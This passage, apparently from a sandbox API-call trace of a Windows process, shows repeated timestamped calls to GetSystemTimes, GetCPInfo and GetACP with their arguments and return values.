lpUserTime=0x18fa54) returned 1 [0054.726] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.726] GetACP () returned 0x4e4 [0054.726] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.727] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.727] GetACP () returned 0x4e4 [0054.727] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.727] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.727] GetACP () returned 0x4e4 [0054.727] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.727] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.727] GetACP () returned 0x4e4 [0054.727] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.727] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.727] GetACP () returned 0x4e4 [0054.727] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.727] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.727] GetACP () returned 0x4e4 [0054.727] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.727] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.727] GetACP () returned 0x4e4 [0054.727] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.727] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.727] GetACP () returned 0x4e4 [0054.727] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.727] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.727] GetACP () returned 0x4e4 [0054.727] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.727] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.727] GetACP () returned 0x4e4 [0054.727] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.727] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.727] GetACP () returned 0x4e4 [0054.728] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.728] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.728] GetACP () returned 0x4e4 [0054.728] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.728] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.728] GetACP () returned 0x4e4 [0054.728] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.728] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.728] GetACP () returned 0x4e4 [0054.728] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.728] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.728] GetACP () returned 0x4e4 [0054.728] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.728] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.728] GetACP () returned 0x4e4 [0054.728] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.728] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.728] GetACP () returned 0x4e4 [0054.728] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.728] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.728] GetACP () returned 0x4e4 [0054.728] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.728] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.728] GetACP () returned 0x4e4 [0054.728] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.728] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.728] GetACP () returned 0x4e4 [0054.728] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.729] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.729] GetACP () returned 0x4e4 [0054.729] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.729] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.729] GetACP () returned 0x4e4 [0054.729] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.729] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.729] GetACP () returned 0x4e4 [0054.729] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.729] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.729] GetACP () returned 0x4e4 [0054.729] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.729] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.729] GetACP () returned 0x4e4 [0054.729] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.729] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.729] GetACP () returned 0x4e4 [0054.729] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.729] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.729] GetACP () returned 0x4e4 [0054.729] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.729] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.729] GetACP () returned 0x4e4 [0054.729] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.729] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.729] GetACP () returned 0x4e4 [0054.729] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.730] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.730] GetACP () returned 0x4e4 [0054.730] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.730] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.730] GetACP () returned 0x4e4 [0054.730] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.730] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.730] GetACP () returned 0x4e4 [0054.730] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.730] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.730] GetACP () returned 0x4e4 [0054.730] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.730] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.730] GetACP () returned 0x4e4 [0054.730] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.730] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.730] GetACP () returned 0x4e4 [0054.730] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.730] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.730] GetACP () returned 0x4e4 [0054.730] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.730] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.730] GetACP () returned 0x4e4 [0054.730] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.730] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.730] GetACP () returned 0x4e4 [0054.730] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.730] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.731] GetACP () returned 0x4e4 [0054.731] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.731] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.731] GetACP () returned 0x4e4 [0054.731] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.731] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.731] GetACP () returned 0x4e4 [0054.731] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.731] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.731] GetACP () returned 0x4e4 [0054.731] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.731] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.731] GetACP () returned 0x4e4 [0054.731] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.731] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.731] GetACP () returned 0x4e4 [0054.731] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.731] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.731] GetACP () returned 0x4e4 [0054.731] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.731] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.731] GetACP () returned 0x4e4 [0054.731] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.731] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.731] GetACP () returned 0x4e4 [0054.731] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.731] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.731] GetACP () returned 0x4e4 [0054.731] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.732] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.732] GetACP () returned 0x4e4 [0054.732] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.732] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.796] GetACP () returned 0x4e4 [0054.796] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.796] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.796] GetACP () returned 0x4e4 [0054.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.797] GetACP () returned 0x4e4 [0054.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.797] GetACP () returned 0x4e4 [0054.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.797] GetACP () returned 0x4e4 [0054.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.797] GetACP () returned 0x4e4 [0054.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.797] GetACP () returned 0x4e4 [0054.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.797] GetACP () returned 0x4e4 [0054.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.797] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.797] GetACP () returned 0x4e4 [0054.797] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.798] GetACP () returned 0x4e4 [0054.798] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.798] GetACP () returned 0x4e4 [0054.798] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.798] GetACP () returned 0x4e4 [0054.798] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.798] GetACP () returned 0x4e4 [0054.798] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.798] GetACP () returned 0x4e4 [0054.798] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.798] GetACP () returned 0x4e4 [0054.798] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.798] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.798] GetACP () returned 0x4e4 [0054.798] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.799] GetACP () returned 0x4e4 [0054.799] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.799] GetACP () returned 0x4e4 [0054.799] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.799] GetACP () returned 0x4e4 [0054.799] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.799] GetACP () returned 0x4e4 [0054.799] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.799] GetACP () returned 0x4e4 [0054.799] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.799] GetACP () returned 0x4e4 [0054.799] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.799] GetACP () returned 0x4e4 [0054.799] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.799] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.799] GetACP () returned 0x4e4 [0054.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.800] GetACP () returned 0x4e4 [0054.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.800] GetACP () returned 0x4e4 [0054.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.800] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa7c | out: lpCPInfo=0x18fa7c) returned 1 [0054.800] GetACP () returned 0x4e4 [0054.800] GetSystemTimes (in: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54 | out: lpIdleTime=0x18fa90, lpKernelTime=0x18fa98, lpUserTime=0x18fa54) returned 1 [0054.800] 